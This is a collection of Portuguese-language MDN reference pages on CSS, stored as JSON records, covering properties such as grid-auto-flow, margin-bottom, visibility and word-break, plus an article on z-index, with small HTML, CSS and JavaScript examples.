/>\n<label for=\"dense\">dense</label>\n```\n\n### Conteúdo CSS\n\n\n```css\n#grid {\n  height: 200px;\n  width: 200px;\n  display: grid;\n  grid-gap: 10px;\n  grid-template: repeat(4, 1fr) / repeat(2, 1fr);\n  grid-auto-flow: column; /\\* or 'row', 'row dense', 'column dense' \\*/\n}\n\n#item1 {\n  background-color: lime;\n  grid-row-start: 3;\n}\n\n#item2 {\n  background-color: yellow;\n}\n\n#item3 {\n  background-color: blue;\n}\n\n#item4 {\n  grid-column-start: 2;\n  background-color: red;\n}\n\n#item5 {\n  background-color: aqua;\n}\n```\n\n\n```\nfunction changeGridAutoFlow() {\n  var grid = document.getElementById(\"grid\");\n  var direction = document.getElementById(\"direction\");\n  var dense = document.getElementById(\"dense\");\n  var gridAutoFlow = direction.value === \"row\" ? \"row\" : \"column\";\n\n  if (dense.checked) {\n    gridAutoFlow += \" dense\";\n  }\n\n  grid.style.gridAutoFlow = gridAutoFlow;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Grid Layout Module Level 2 # grid-auto-flow-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Propriedades CSS relacionadas: `grid-auto-rows` (en-US), `grid-auto-columns` (en-US), `grid`\n* Guia de Grid Layout: *Arrumação automática no grid layout (en-US)*\n* Video tutorial: *Introduzindo arrumação automática no grid e ordem*\n\n1. **CSS**\n2. **CSS Reference**\n3. CSS Grid Layout\n4. **Guias**\n    1. Conceitos básicos do grid layout\n    2. Relacionamento com outros tipos de layout\n    3. Arrumação baseada em linha (en-US)\n    4. Grid template areas (en-US)\n    5. Layout usando named grid lines (en-US)\n    6. Arrumação automática no grid layout (en-US)\n    7. Alinhamento de Box no grid layout (en-US)\n    8. Grids, logical values e writing modes (en-US)\n    9. CSS Grid Layout e Acessibilidade (en-US)\n    10. CSS Grid Layout e Progressive Enhancement (en-US)\n    11. Identificando layouts comuns usando grids (en-US)\n5. **Propriedades**\n    1. grid\n    2. grid-area (en-US)\n    3. grid-auto-columns (en-US)\n    4. grid-auto-flow\n    5. grid-auto-rows (en-US)\n    6. grid-column (en-US)\n    7. grid-column-end (en-US)\n    8. grid-column-gap (en-US)\n    9. grid-column-start (en-US)\n    10. grid-gap (en-US)\n    11. grid-row (en-US)\n    12. grid-row-end (en-US)\n    13. grid-row-gap (en-US)\n    14. grid-row-start (en-US)\n    15. grid-template (en-US)\n    16. grid-template-areas (en-US)\n    17. grid-template-columns\n    18. grid-template-rows\n6. **Glossário**\n    1. Grid lines (en-US)\n    2. Grid tracks (en-US)\n    3. Grid cell (en-US)\n    4. Grid areas\n    5. Gutters (en-US)\n    6. Grid row (en-US)\n    7. Grid column (en-US)"}
{"title":"margin-bottom - CSS","text":"margin-bottom\n=============\n\nA propriedade CSS **`margin-bottom`** define a margin area na parte inferior de um elemento. Um valor positivo coloca o valor mais longe de outros elementos vizinhos, enquanto um valor negativo, aproxima.\n\nExperimente\n-----------\n\n![The effect of the CSS margin-bottom property on the element box](/files/4045/margin-bottom.svg)\n\nA propriedade não tem efeito em non-replaced (en-US) elementos inline, como `<span>` ou `<code>`.\n\nSintaxe\n-------\n\n\n```css\n/\\* <length> values \\*/\nmargin-bottom: 10px; /\\* Um tamanho absoluto \\*/\nmargin-bottom: 1em; /\\* relativo ao tamanho do texto \\*/\nmargin-bottom: 5%; /\\* relativo à largura do container do bloco mais próximo \\*/\n\n/\\* Keyword values \\*/\nmargin-bottom: auto;\n\n/\\* Global values \\*/\nmargin-bottom: inherit;\nmargin-bottom: initial;\nmargin-bottom: unset;\n```\n\n\nA propriedade `margin-bottom` é especificada como a palavra chave `auto`, ou a `<length>`, ou a`<percentage>`. Esse valor pode ser positivo, zero ou negativo\n\n### Values\n\n`<length>` (en-US)\n\nO tamanho de uma margin com um valor fixo\n\n`<percentage>` (en-US)\n\nO tamanho de uma margin como porcentagem, é relativa com o *tamanho* do bloco pai.\n\n`auto`\n\nO navegador seleciona um valor adequado para usar. Veja `margin`.\n\n### Sintaxe formal\n```\n\nmargin-bottom =   \n  <length-percentage>  | (en-US)  \n  auto                   \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<div class=\"container\">\n  <div class=\"box0\">Box 0</div>\n  <div class=\"box1\">Box 1</div>\n  <div class=\"box2\">Box one's negative margin pulls me up</div>\n</div>\n```\n\n### CSS\n\nCSS para definir margin-bottom e height\n\n\n```css\n.box0 {\n  margin-bottom: 1em;\n  height: 3em;\n}\n.box1 {\n  margin-bottom: -1.5em;\n  height: 4em;\n}\n.box2 {\n  border: 1px dashed black;\n  border-width: 1px 0;\n  margin-bottom: 2em;\n}\n```\n\n\nAlgumas definições para container e divs, para que o os efeitos de margin possam ser vistos com mais clareza\n\n\n```css\n.container {\n  background-color: orange;\n  width: 320px;\n  border: 1px solid black;\n}\ndiv {\n  width: 320px;\n  background-color: gold;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Model Module Level 3 # margin-physical |\n\n|  |  |\n| --- | --- |\n| Initial value | `0` |\n| Aplica-se a | all elements, except elements with table `display` types other than `table-caption`, `table` and `inline-table`. It also applies to `::first-letter`. |\n| Inherited | não |\n| Percentages | refer to the width of the containing block |\n| Computed value | the percentage as specified or the absolute length |\n| Animation type | a length |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"CSS Basic User Interface - CSS","text":"CSS Basic User Interface\n========================\n\n**CSS Basic User Interface** é um módulo CSS que permite definir a renderização e a funcionalidade de recursos relacionados à interface do usuário.\n\nReferência\n----------\n\n### Propriedades\n\n* `appearance` (en-US) \nExperimental\n* `box-sizing`\n* `cursor`\n* `ime-mode` \nDeprecated\n* `nav-down` \nExperimental\n* `nav-left` \nExperimental\n* `nav-right` \nExperimental\n* `nav-up` \nExperimental\n* `outline`\n* `outline-width` (en-US)\n* `outline-style` (en-US)\n* `outline-color` (en-US)\n* `outline-offset` (en-US)\n* `resize` (en-US)\n* `text-overflow`\n* `user-select` (en-US) \nExperimental\nGuias\n-----\n\nUsando valores URL na propriedade `cursor` (en-US)\n\nExplica como uma URL pode ser usada com a propriedade `cursor` para criar cursores personalizados.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Basic User Interface Module Level 4  |"}
{"title":":first-of-type - CSS","text":":first-of-type\n==============\n\nA CSS pseudo-classe **`:first-of-type`** representa o primeiro elemento de seu tipo entre os filhos de seu elemento pai.\n\n\n```css\n/\\* Seleciona qualquer <p> que seja o primeiro elemento\n desse tipo entre seus irmãos \\*/\np:first-of-type {\n  color: red;\n}\n```\n\n\n**Nota:** Originalmente definido, o elemento selecionado tinha que ter um pai. Desde o Seletores Nível 4, isso não é mais necessário.\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\n### Estilizando o primeiro parágrafo\n\n#### HTML\n\n\n```html\n<h2>Título</h2>\n<p>Parágrafo 1</p>\n<p>Parágrafo 2</p>\n```\n\n\n#### CSS\n\n\n```css\np:first-of-type {\n  color: red;\n  font-style: italic;\n}\n```\n\n\n#### Resultado\n\n### Elementos aninhados\n\nEste exemplo mostra como os elementos aninhados também podem ser estilizados. Note que o seletor universal (`*`) está implícito quando nenhum seletor simples está escrito.\n\n#### HTML\n\n\n```html\n<article>\n  <div>Esta `div` é a primeira!</div>\n  <div>Esta <span>`span` aninhada é a primeira</span>!</div>\n  <div>\n    Este <em>`em` aninhado é o primeiro</em>, mas este\n    <em>`em` aninhado é o último</em>!\n  </div>\n  <div>Este <span>`span` aninhado pegou o estilo</span>!</div>\n  <b>Este `b` qualifica!</b>\n  <div>Esta é a `div` final.</div>\n</article>\n```\n\n\n#### CSS\n\n\n```css\narticle :first-of-type {\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # first-of-type-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:first-child`, `:last-of-type`, `:nth-of-type`"}
{"title":":disabled - CSS","text":":disabled\n=========\n\nA pseudo-classe CSS **`:disabled`** representa qualquer elemento desativado. Um elemento é desativado se não puder ser ativado (selecionado, clicado, digitado etc.) ou aceitar o foco. O elemento também possui um estado habilitado, no qual ele pode ser ativado ou aceitar o foco.\n\n\n```css\n/\\* Selects any disabled <input> \\*/\ninput:disabled {\n  background: #ccc;\n}\n```\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplo\n-------\n\nEste exemplo mostra um formulário básico de envio. Ele usa o evento JavaScript `change` (en-US) para permitir que o usuário ative / desative os campos de faturamento.\n\n### HTML\n\n\n```html\n<form action=\"#\">\n  <fieldset id=\"shipping\">\n    <legend>Shipping address</legend>\n    <input type=\"text\" placeholder=\"Name\" />\n    <input type=\"text\" placeholder=\"Address\" />\n    <input type=\"text\" placeholder=\"Zip Code\" />\n  </fieldset>\n  <br />\n  <fieldset id=\"billing\">\n    <legend>Billing address</legend>\n    <label for=\"billing-checkbox\">Same as shipping address:</label>\n    <input type=\"checkbox\" id=\"billing-checkbox\" checked />\n    <br />\n    <input type=\"text\" placeholder=\"Name\" disabled />\n    <input type=\"text\" placeholder=\"Address\" disabled />\n    <input type=\"text\" placeholder=\"Zip Code\" disabled />\n  </fieldset>\n</form>\n```\n\n### CSS\n\n\n```css\ninput[type=\"text\"]:disabled {\n  background: #ccc;\n}\n```\n\n### JavaScript\n\n\n```js\n// Wait for the page to finish loading\ndocument.addEventListener(\n  \"DOMContentLoaded\",\n  function () {\n    // Attach `change` event listener to checkbox\n    document.getElementById(\"billing-checkbox\").onchange = toggleBilling;\n  },\n  false,\n);\n\nfunction toggleBilling() {\n  // Select the billing text fields\n  var billingItems = document.querySelectorAll('#billing input[type=\"text\"]');\n\n  // Toggle the billing text fields\n  for (var i = 0; i < billingItems.length; i++) {\n    billingItems[i].disabled = !billingItems[i].disabled;\n  }\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-disabled |\n| Selectors Level 4 # enableddisabled |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:enabled`"}
{"title":"margin-top - CSS","text":"margin-top\n==========\n\nSumário\n-------\n\n![The effect of the CSS margin-top property on the element box](/files/4101/margin-top.svg)A propriedade CSS **`margin-top`** de um elemento indica o espaço acima do elemento. Valores negativos são aceitos.\n\nEssa propriedade não tem efeito em *elementos non-replaced* inline elements, como `<tt>` (en-US) ou `<span>`.\n\n|  |  |\n| --- | --- |\n| Initial value | `0` |\n| Aplica-se a | all elements, except elements with table `display` types other than `table-caption`, `table` and `inline-table`. It also applies to `::first-letter`. |\n| Inherited | não |\n| Percentages | refer to the width of the containing block |\n| Computed value | the percentage as specified or the absolute length |\n| Animation type | a length |\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores <length> \\*/\nmargin-top: 10px; /\\* An absolute length \\*/\nmargin-top: 1em; /\\* A length relative to the text size \\*/\nmargin-top: 5%; /\\* A margin relative to the nearest block container's width \\*/\n\n/\\* Valores padrão \\*/\nmargin-top: auto;\n\n/\\* Valores globais \\*/\nmargin-top: inherit;\nmargin-top: initial;\nmargin-top: unset;\n```\n\n### Valores\n\n`<length>`\n\nEspecifica um tamanho fixo. Veja `<length>` (en-US) para possíveis valores.\n\n`<porcentagem>`\n\nUm `<percentage>` (en-US) sempre relativo ao **width** do bloco.\n\n`auto`\n\nVeja `margin`.\n\n### Sintaxe formal\n```\n\nmargin-top =   \n  <length-percentage>  | (en-US)  \n  auto                   \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\nExemplos\n--------\n\n\n```css\n.content {\n  margin-top: 5%;\n}\n.sidebox {\n  margin-top: 10px;\n}\n.logo {\n  margin-top: -5px;\n}\n#footer {\n  margin-top: 1em;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Model Module Level 3 # margin-physical |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"transform-style - CSS","text":"transform-style\n===============\n\nA propriedade **`transform-style`** CSS define se os elemento filhos são posicionados em um espaco 3D ou serão achatados ( flattened ) no plano do elemento\n\nExperimente\n-----------\n\nSe achatados, os elementos filho não existirão por conta própria ou sozinhos no espaço 3D.\n\nComo essa propriedade não é herdada, ela deve ser definida para todos os descendentes que não sejam folhas do elemento.\n\nSyntax\n------\n\n\n```css\n/\\* Keyword values \\*/\ntransform-style: flat;\ntransform-style: preserve-3d;\n\n/\\* Valores globais \\*/\ntransform-style: inherit;\ntransform-style: initial;\ntransform-style: unset;\n```\n\n### Values\n\n`flat`\n\nIndica que os filhos do elemento estão no plano do próprio elemento.\n\n`preserve-3d`\n\nIndica que os filhos do elemento devem ser posicionados no espaço 3D.\n\n### Formal syntax\n```\n\ntransform-style =   \n  flat         | (en-US)  \n  preserve-3d    \n  \n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Transforms Module Level 2 # transform-style-property |\n\n|  |  |\n| --- | --- |\n| Initial value | `flat` |\n| Aplica-se a | qualquer elemento transformavel |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n| Creates stacking context | yes |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using CSS transforms"}
{"title":"Valor inicial - CSS","text":"Valor inicial\n=============\n\nO **Valor inicial** de uma propriedade CSS é o seu valor padrão, como listado em sua tabela de definição. O uso do valor inicial varia caso a propriedade seja herdada ou não.\n\n* Para propriedades herdadas, o valor inicial é usado apenas em seu elemento raíz, desde que nenhum valor especificado seja fornecido.\n* Para propriedades não-herdadas, o valor inicial é usado em todos os elementos, enquanto nenhum valor especificado é fornecido\n\n**Nota:** Você pode especificar explicitamente um valor inicial, utilizando a palavra-chave `initial`\n\nVeja Também\n-----------\n\n* Refercia CSS\n* `initial` (en-US)"}
{"title":"<display-outside> - CSS","text":"<display-outside>\n=================\n\nO `<display-outside>` as palavras-chave especificam a parte externa do elemento `display` type, que é essencialmente seu papel no layout de fluxo. Essas palavras-chave são usadas como valores do `display` e pode ser usada para fins legados como uma única palavra-chave ou conforme definido na especificação do Nível 3, juntamente com um valor do `<display-inside>` palavras-chave.\n\nSintaxe\n-------\n\nO `<display-outside>` O valor é definido usando uma palavra-chave da lista abaixo:\n\n### Valor\n\n`block`\n\nO elemento gera uma caixa de elemento de bloco, gerando quebras de linha antes e depois do elemento, quando no fluxo normal.\n\n`inline`\n\nO elemento gera uma ou mais caixas de elementos embutidos que não geram quebras de linha antes ou depois de si mesmas. No fluxo normal, o próximo elemento estará na mesma linha se houver espaço\n\n`run-in` \nExperimental\n\nO elemento gera uma caixa de introdução. Se o irmão adjacente do elemento definido como`display: run-in` box é uma caixa de bloco, o `run-in` box se torna a primeira caixa embutida da caixa de bloco a seguir.\n\nOs elementos de entrada funcionam como linhas ou blocos, dependendo dos elementos circundantes. Ou seja: Se a caixa de introdução contém uma caixa de bloco, o mesmo que bloco. Se uma caixa de bloco segue a caixa de introdução, a caixa de introdução torna-se a primeira caixa embutida da caixa de bloco. Se uma caixa embutida se seguir, a caixa de introdução se tornará uma caixa de bloco.\n\n\n**Nota:**: Navegadores que suportam a sintaxe de dois valores, encontrando apenas o valor externo, como quando `display: block` ou `display: inline` especificado, definirá o valor interno como`flow`. Isso resultará no comportamento esperado; por exemplo, se você especificar um elemento a ser bloco, seria de esperar que os filhos desse elemento participassem do layout de fluxo normal em bloco e em linha.\n\n### Sintaxe formal\n```\n\n<display-outside> =   \n  block   | (en-US)  \n  inline  | (en-US)  \n  run-in    \n  \n```\n\nExemplo\n-------\n\nNo exemplo a seguir, os elementos de extensão (normalmente exibidos como elementos embutidos) são definidos como `display: block` e, assim, divida em novas linhas e expanda para preencher seu contêiner na dimensão embutida.\n\n### HTML\n\n\n```html\n<span>span 1</span> <span>span 2</span>\n```\n\n### CSS\n\n\n```css\nspan {\n  display: block;\n  border: 1px solid rebeccapurple;\n}\n```\n\n### Resultado\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `display`\n    + `<display-inside>`\n    + `<display-listitem>`\n    + `<display-internal>`\n    + `<display-box>`\n    + `<display-legacy>`\n* Layout de bloco e embutido no fluxo normal (en-US)\n* Contextos de formatação explicados (en-US)"}
{"title":"word-break - CSS","text":"word-break\n==========\n\nA propriedade CSS **`word-break`** é usada para especificar se o navegador deve inserir ou não quebras de linha onde, normalmente, o texto vazaria de seu container.\n\nExperimente\n-----------\n\n**Nota:** comparando com `overflow-wrap`, `word-break` criará uma quebra de linha no ponto exato em que o texto vazaria, mesmo que uma palavra pudesse ser colocada por completo em uma nova linha sem a necessidade de quebra da palavra.\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores específicos \\*/\nword-break: normal;\nword-break: break-all;\nword-break: keep-all;\n\n/\\* Valores globais \\*/\nword-break: inherit;\nword-break: initial;\nword-break: unset;\n```\n\n### Valores\n\n`normal`\n\nUsa a regra de quebra de linha padrão.\n\n`break-all`\n\nQuebras de linha podem ser inseridas entre quaisquer caracteres de texto não-CJC (Chinês/Japonês/Coreano).\n\n`keep-all`\n\nNão permite quebra de linha para texto CJC. Texto não-CJC se comporta como `normal`.\n\n`break-word`\n\nPara evitar o vazamento, palavras que normalmente não seriam quebradas podem ser quebradas em pontos arbitrários se não houver pontos de quebra válidos na linha.\n\n### Sintaxe formal\n```\n\nword-break =   \n  normal      | (en-US)  \n  keep-all    | (en-US)  \n  break-all   | (en-US)  \n  break-word    \n  \n```\n\nExemplos\n--------\n\n### Conteúdo HTML\n\n\n```html\n<p>1. <code>word-break: normal</code></p>\n<p class=\"normal narrow\">\n  This is a long and Honorificabilitudinitatibus califragilisticexpialidocious\n  Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu\n  次の単語グレートブリテンおよび北アイルランド連合王国で本当に大きな言葉\n</p>\n\n<p>2. <code>word-break: break-all</code></p>\n<p class=\"breakAll narrow\">\n  This is a long and Honorificabilitudinitatibus califragilisticexpialidocious\n  Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu\n  次の単語グレートブリテンおよび北アイルランド連合王国で本当に大きな言葉\n</p>\n\n<p>3. <code>word-break: keep-all</code></p>\n<p class=\"keepAll narrow\">\n  This is a long and Honorificabilitudinitatibus califragilisticexpialidocious\n  Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu\n  次の単語グレートブリテンおよび北アイルランド連合王国で本当に大きな言葉\n</p>\n\n<p>4. <code>word-break: break-word</code></p>\n<p class=\"breakWord narrow\">\n  This is a long and Honorificabilitudinitatibus califragilisticexpialidocious\n  Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu\n  次の単語グレートブリテンおよび北アイルランド連合王国で本当に大きな言葉\n</p>\n```\n\n### Conteúdo CSS\n\n\n```css\n.narrow {\n  padding: 5px;\n  border: 1px solid;\n  display: table;\n  max-width: 100%;\n}\n\n.normal {\n  word-break: normal;\n}\n\n.breakAll {\n  word-break: break-all;\n}\n\n.keepAll {\n  word-break: keep-all;\n}\n\n.breakWord {\n  word-break: break-word;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Module Level 3 # word-break-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `word-wrap`"}
{"title":"visibility - CSS","text":"visibility\n==========\n\nA propriedade CSS de visibilidade pode mostrar ou ocultar um elemento sem afetar o layout de um documento (ou seja, o espaço é criado para elementos independentemente de serem visíveis ou não). A propriedade também pode ocultar linhas ou colunas em um `<table>`.\n\n\n```css\n/\\* palavra-chave valores \\*/\nvisibility: visible;\nvisibility: hidden;\nvisibility: collapse;\n\n/\\* Global values \\*/\nvisibility: inherit;\nvisibility: initial;\nvisibility: unset;\n```\n\n\n**Nota:** Para ocultar um elemento ou removê-lo do layout do documento, defina a propriedade `display` como `none` em vez de usar `visibility`.\n\n|  |  |\n| --- | --- |\n| Initial value | `visible` |\n| Aplica-se a | all elements |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | a visibility |\n\nSintaxe\n-------\n\nA propriedade é especificada como um dos valores das palavras-chave listados abaixo.\n\n### Valores\n\n`visible`\n\nThe element box is visible.\n\n`hidden`\n\nThe element box is invisible (not drawn), but still affects layout as normal. Descendants of the element will be visible if they have `visibility` set to `visible`. The element cannot receive focus (such as when navigating through tab indexes).\n\n`collapse`\n\nThe `collapse` keyword has different effects for different elements:\n\n* For `<table>` rows, columns, column groups, and row groups, the row(s) or column(s) are hidden and the space they would have occupied is removed (as if ``display`: none` were applied to the column/row of the table). However, the size of other rows and columns is still calculated as though the cells in the collapsed row(s) or column(s) are present. This value allows for the fast removal of a row or column from a table without forcing the recalculation of widths and heights for the entire table.\n* Collapsed flex items and ruby annotations are hidden, and the space they would have occupied is removed.\n* For other elements, `collapse` is treated the same as `hidden`.\n\n### Formal syntax\n```\n\nvisibility =   \n  visible   | (en-US)  \n  hidden    | (en-US)  \n  collapse    \n  \n```\n\nInterpolação\n------------\n\nVisibility values are interpolable between *visible* and *not-visible*. One of the start or ending values must therefore be `visible` or no interpolation can happen. The value is interpolated as a discrete step, where values of the timing function between `0` and `1` map to `visible` and other values of the timing function (which occur only at the start/end of the transition or as a result of `cubic-bezier()` functions with y values outside of [0, 1]) map to the closer endpoint.\n\nExemplos\n--------\n\n### Exemplo básico\n\n#### HTML\n\n\n```html\n<p class=\"visible\">The first paragraph is visible.</p>\n<p class=\"not-visible\">The second paragraph is NOT visible.</p>\n<p class=\"visible\">\n  The third paragraph is visible. Notice the second paragraph is still occupying\n  space.\n</p>\n```\n\n\n#### CSS\n\n\n```css\n.visible {\n  visibility: visible;\n}\n\n.not-visible {\n  visibility: hidden;\n}\n```\n\n### Table example\n\n#### HTML\n\n\n```html\n<table>\n  <tr>\n    <td>1.1</td>\n    <td class=\"collapse\">1.2</td>\n    <td>1.3</td>\n  </tr>\n  <tr class=\"collapse\">\n    <td>2.1</td>\n    <td>2.2</td>\n    <td>2.3</td>\n  </tr>\n  <tr>\n    <td>3.1</td>\n    <td>3.2</td>\n    <td>3.3</td>\n  </tr>\n</table>\n```\n\n\n#### CSS\n\n\n```css\n.collapse {\n  visibility: collapse;\n}\n\ntable {\n  border: 1px solid red;\n}\n\ntd {\n  border: 1px solid gray;\n}\n```\n\nNotas\n-----\n\n* Support for `visibility: collapse` is missing or partially incorrect in some modern browsers. It may not be correctly treated like `visibility: hidden` on elements other than table rows and columns.\n* `visibility: collapse` may change the layout of a table if the table has nested tables within the cells that are collapsed, unless `visibility: visible` is specified explicitly on nested tables.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Display Module Level 3 # visibility |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"CSS Grid Layout - CSS","text":"CSS Grid Layout\n===============\n\n**Nota:** CSS Grid será suportado por vários navegadores até meados de 2017. O suporte em navegadores antigos pode ser obtido habilitando-se uma flag que permite o uso da API. Nesse caso não se esqueça de consultar e fazer referência a cada propriedade e funcionalidade da especificação para certificar-se da sua compatibilidade, bem como para obter maiores informações.\n\n**CSS Grid layout** é uma especificação do W3C projetada para proporcionar um método bi-dimensional para criação de layout CSS que oferece a possibilidade de \"layoutar\" itens da página com uso de linhas e colunas. CSS grid poderá ser usado para obter uma infinidade de diferentes layouts. O diferencial desse método de criação de layouts reside na possibilidade de se dividir uma página em grandes regiões e de se definir o relacionamento em termos de medidas, posicionamento e camadas entre os diferentes componentes da marcação HTML.\n\nTal como as tabelas, grid layout permite ao autor alinhar os componentes da página fazendo uso de linhas e colunas. Contudo ao contrário das tabelas, grid layout não se baseia em estruturação de conteúdos, possibilitando uma enorme variedade de layouts, o que não é possível de se obter com uso de tabelas. Por exemplo: elementos filhos de um grid container podem ser posicionados à vontade se sobrepondo ou mudando de layer, de modo idêntico como se faz com uso das funcionalidades do nosso já conhecido posicionamento CSS.\n\nExemplo básico\n--------------\n\n### HTML\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box a\">a</div>\n  <div class=\"box b\">b</div>\n  <div class=\"box c\">c</div>\n  <div class=\"box d\">d</div>\n  <div class=\"box e\">e</div>\n  <div class=\"box f\">f</div>\n</div>\n```\n\n### CSS\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 100px 100px 100px;\n  grid-gap: 10px;\n  background-color: #fff;\n  color: #444;\n}\n\n.box {\n  background-color: #444;\n  color: #fff;\n  border-radius: 5px;\n  padding: 20px;\n  font-size: 150%;\n}\n```\n\nReferência\n----------\n\n### Propriedades CSS\n\n* `grid-template-columns`\n* `grid-template-rows`\n* `grid-template-areas` (en-US)\n* `grid-template` (en-US)\n* `grid-auto-columns` (en-US)\n* `grid-auto-rows` (en-US)\n* `grid-auto-flow`\n* `grid`\n* `grid-row-start` (en-US)\n* `grid-column-start` (en-US)\n* `grid-row-end` (en-US)\n* `grid-column-end` (en-US)\n* `grid-row` (en-US)\n* `grid-column` (en-US)\n* `grid-area` (en-US)\n* `grid-row-gap` (en-US)\n* `grid-column-gap` (en-US)\n* `grid-gap` (en-US)\n### Funções CSS\n\n* `repeat()` (en-US)\n* `minmax()` (en-US)\n### Glossário\n\n* Grid Lines (en-US)\n* Grid Tracks (en-US)\n* Grid Cell (en-US)\n* Grid Area\n* Gutters (en-US)\n* Grid row (en-US)\n* Grid column (en-US)\nGuias\n-----\n\n* Conceitos básicos de Grid Layout\n* Relação do Grid Layout com outros métodos de layout\n* Layout usando grid lines nomeadas (en-US)\n* Grid template areas (en-US)\n* Posicionamento Automático CSS Grid Layout (en-US)\n* Alinhamento Box no CSS Grid Layout (en-US)\n* CSS Grid, Valores Lógicos e Modos de Escrita (en-US)\n* CSS Grid Layout e Acessibilidade (en-US)\n* CSS Grid e Aprimoramento Progressivo (en-US)\n* Realizando layouts comuns usando CSS Grid (en-US)\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Grid Layout Module Level 2  |\n\nVeja também\n-----------\n\n* Glossário:\n    + Grid lines (en-US)\n    + Grid tracks (en-US)\n    + Grid cell (en-US)\n    + Grid areas\n    + Gutters (en-US)\n    + Grid row (en-US)\n    + Grid column (en-US)"}
{"title":"Understanding CSS z-index - CSS","text":"Understanding CSS z-index\n=========================\n\nNormalmente páginas HTML podem ser consideradas bi-dimensionais, pois texto, imagens e outros elementos podem ser dispostos na página sem sobreposição. Há apenas um fluxo de renderização e todos os elementos sabem do espaço ocupado por outros. O atributo `z-index` (en-US) lhe permite ajustar a ordem de sobreposição dos objetos ao renderizar o conteúdo.\n\n> \n> *Em CSS 2.1, cada caixa tem uma posição nas três dimensões. Em adição às suas posições na horizontal e vertical, caixas ficam no \"eixo-z\" e são formatadas uma em cima da outra. Posições no Eixo-Z são particularmente relevantes quando caixas se sobrepõem visualmente.*\n> \n> \n> \n\n(from CSS 2.1 Section 9.9.1 - Layered presentation)\n\nIsso significa que as regras de CSS te permitem posicionar caixas em camadas em adição ao *render* normal da camada (level 0). A posição Z de cada camada é expressa como um inteiro representando a ordem da pilha para renderização. Números maiores significam que são mais próximos do observador. A posição Z pode ser controlada pela propriedade CSS `z-index` (en-US).\n\nUsar z-index aparenta ser extremamente fácil: uma única propriedade, endereçada a um único número inteiro, com um comportamento fácil-de-entender. No entanto, quando o z-index é aplicado para a hierarquia complexa dos elementos de HTML, seu comportamento pode ser difícil de entender ou até imprevisível. Isso é devido às complexas regras de *stacking*. Uma sessão dedicada foi reservada na especificação do CSS CSS-2.1 Appendix E para explicar melhor essas regras.\n\nEsse artigo tentará explicar essas regras, com algumas simplificações e vários exemplos.\n\n1. Stacking without z-index : Regras padrões de empilhamento\n2. Stacking and float : Como lidar com elementos que usam *float*\n3. Adding z-index : Usando index-z para mudar o empilhamento padrão\n4. The stacking context : Notas sobre contexto do empilhamento\n5. Stacking context example 1 : 2-level HTML hierarquia, z-index no último *level*\n6. Stacking context example 2 : 2-level HTML hierarquia, z-index em todos os *levels*\n7. Stacking context example 3 : 3-level HTML hierarquia, z-index no segundo *level*\n\n*Note of the author: Thanks to Wladimir Palant and Rod Whiteley for the review.*\n\n### Original Document Information\n\n* Author(s): Paolo Lombardi\n* This article is the English translation of an article I wrote in Italian for YappY. I grant the right to share all the content under Creative Commons: Attribution-Sharealike license\n* Last Updated Date: July 9th, 2005"}
